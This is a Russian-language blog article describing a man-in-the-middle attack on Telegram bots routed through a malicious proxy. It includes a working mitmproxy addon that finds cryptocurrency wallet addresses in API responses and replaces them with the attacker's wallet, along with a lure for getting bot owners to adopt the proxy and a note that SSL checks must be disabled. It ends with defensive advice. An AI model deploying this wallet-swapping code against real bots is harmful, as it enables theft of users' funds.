Аннотация: Многие Telegram-боты, особенно связанные с криптовалютами, используют HTTP-запросы для взаимодействия с внешними API. В этой статье мы разберем, как на этом можно построить MITM-атаку для подмены кошельков, чеков и перехвата данных, почему это работает, и какие меры защиты стоит применять разработчикам и пользователям. Рассмотрим реализацию на Python с использованием mitmproxy.

Введение: Суть проблемы

Telegram-боты стали неотъемлемой частью экосистемы — от новостных каналов до торговых платформ. Однако архитектура многих ботов, особенно тех, что используют популярные библиотеки вроде aiogram или python-telegram-bot, часто подразумевает выполнение внешних HTTP-запросов для обработки команд (например, для проверки баланса или генерации платежного адреса).

Если такой бот использует сторонний HTTP/HTTPS-прокси, все его запросы и ответы проходят через промежуточный сервер. Это открывает возможность для атаки «человек посередине» (MITM), когда злоумышленник может не только перехватывать, но и модифицировать трафик в реальном времени. На практике это может привести к подмене криптокошельков, платежных реквизитов или токенов доступа.

В статье рассматривается принцип работы такой атаки и ее техническая реализация в образовательных целях — чтобы разработчики и администраторы понимали риски и могли их минимизировать.

  1. Как работает MITM в контексте Telegram-бота?

Основная идея проста: если бот использует настроенный в его коде HTTP-прокси, весь его исходящий и входящий трафик прохо��ит через указанный прокси-сервер. Если этот сервер контролируется злоумышленником, он получает возможность:

  1. Просматривать все HTTP-запросы и ответы.

  2. Анализировать их на наличие определенных паттернов (номеров кошельков, крипто-чеков, API-ключей).

  3. Подменять данные в запросах или ответах на лету.

Почему это возможно?

· Открытый трафик: Многие боты делают запросы по HTTP (или даже HTTPS, если прокси используется для обхода блокировок, а сертификат доверен) без дополнительного шифрования полезной нагрузки.
· Доверие к прокси: Код бота явно указывает использовать прокси, тем самым доверяя ему весь свой трафик.
· Уязвимость на стороне интеграции: Часто разработчики ботов не валидируют и не подписывают критические данные (номера кошельков), получаемые от внешних API, что позволяет бесшумно заменить их в потоке.

Важно: Атака не связана с уязвимостью самого Telegram или его протокола MTProto. Она целиком эксплуатирует доверие бота к настроенному прокси-серверу и особенности реализации его внешних взаимодействий.

Архитектура Proof-of-Concept реализации

В качестве примера рассмотрим учебную реализацию (PoC) на Python. Ее основные компоненты:

· Ядро перехвата (mitmproxy): Используется библиотека mitmproxy для создания прозрачного прокси-сервера. Пишется кастомный addon, который анализирует трафик.
· Логика подмены: В ответах от внешних API (например, от криптобиржи или платежного шлюза) ищутся строки, соответствующие шаблонам криптоадресов (BTC, ETH, USDT TRC20) или форматам чеков. Найденные значения заменяются на адреса злоумышленника.
· Админ-интерфейс (aiogram): Управление сервером (смена подменяемых адресов, просмотр логов, статистика) вынесено в отдельного Telegram-бота. Это позволяет оперативно контролировать атаку.
· Система уведомлений: Бот-админка присылает оповещения о успешной подмене или перехвате чувствительных данных.

Схема работы:

  1. Жертва (администратор бота) добавляет в конфигурацию своего бота «вредоносный» прокси-сервер (например, под предлогом обхода блокировки РКН).

  2. Все запросы от бота к внешнему миру идут через наш mitmproxy.

  3. Аддон анализирует JSON/XML/текстовые ответы от API, подменяет целевые строки и передает модифицированный ответ боту.

  4. Бот, ничего не подозревая, показывает пользователю подмененный кошелек.

  1. Технические детали и код

Основная логика обработчика для mitmproxy может выглядеть так (упрощенно):

from mitmproxy import http, ctx
import re

class WalletSwapper:
    def __init__(self):
        self.target_wallet = "YOUR_MALICIOUS_WALLET_HERE"

    def response(self, flow: http.HTTPFlow) -> None:
        # Проверяем, что ответ JSON и от целевого API
        if "application/json" in flow.response.headers.get("content-type", ""):
            original_text = flow.response.get_text()
            # Ищем криптоадреса по простым паттернам
            patterns = [
                r'\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b',  # BTC Legacy
                r'\b0x[a-fA-F0-9]{40}\b',  # ETH, BSC, etc.
                r'\bT[A-Za-z1-9]{33}\b',  # USDT TRC20
            ]
            for pattern in patterns:
                if re.search(pattern, original_text):
                    # Заменяем все найденные адреса на свой
                    modified_text = re.sub(pattern, self.target_wallet, original_text)
                    flow.response.set_text(modified_text)
                    ctx.log.info(f"Подменен кошелек в ответе от {flow.request.pretty_url}")
                    # Отправляем уведомление в админ-бота
                    self.notify_admin(flow.request.pretty_url)
                    break

    def notify_admin(self, url: str):
        # Здесь код отправки сообщения через Telegram Bot API
        pass

addons = [WalletSwapper()]

Меры защиты: для разработчиков и пользователей

Для разработчиков ботов:

  1. Никогда не доверяйте сторонним прокси. Если обход блокировок необходим, используйте надежные VPN на уровне ОС или выделенные trusted proxy.

  2. Всегда используйте HTTPS и строгую проверку SSL-сертификатов. Отключайте проверки только в крайних случаях.

  3. Цифровая подпись данных. Критические данные (кошельки, суммы) от внешних API должны быть подписаны, а бот должен проверять эту подпись.

  4. Валидация и санитизация. Проверяйте форматы получаемых данных на стороне бота.

  5. Принцип минимальных привилегий. Токены и ключи API, которые использует бот, должны иметь ограниченный набор прав.

Для пользователей и администраторов ботов:

  1. Проверяйте реквизиты. При крупных переводах всегда перепроверяйте адрес кошелька через несколько независимых источников (веб-сайт, мобильное приложение).

  2. Остерегайтесь «волшебных» прокси. Не используйте непроверенные прокси-адреса, особенно если их предлагают третьи лица для «улучшения работы» или «обхода блокировок».

  3. Двухфакторная аутентификация (2FA). Включайте 2FA везде, где это возможно, чтобы усложнить компрометацию аккаунта.

Заключение

Рассмотренный сценарий MITM-атаки наглядно демонстрирует, что уязвимость часто кроется не в ядре системы (Telegram), а на ее периферии — в способе интеграции с внешними сервисами и в излишнем доверии к сетевым компонентам.

Подобные атаки, от классического proxy-clipper до сложных MITM-инструментов, остаются эффективными именно из-за пренебрежения базовыми принципами безопасности. Понимание механизмов таких атак — первый и crucial шаг к построению надежной защиты.

Важное напоминание: Информация в этой статье представлена исключительно в образовательных и исследовательских целях. Использование подобных техник для причинения ущерба является противозаконным

P.S. Если вам интересны технические разборы уязвимостей и методы защиты, подписывайтесь на мой канал (https://t.me/rootlocalhostvibe (Прямо сейчас, например, я делаю учебный стенд для ransomware)). Исходный код учебного PoC, как всегда, доступен в репозитории (https://github.com/a11mut3d/Telegrambot-MITM) для анализа и улучшения практик безопасности.

UPD: Важное техническое уточнение о SSL

В процессе написания статьи, я забыл уточнить, что такие библиотеки aiogram и telebot поддерживают отключение SSL и полное доверие нашему proxy. Поэтому наш proxy надо вставлять именно с отключенным SSL. Спасибо комментаторами, что напомнили.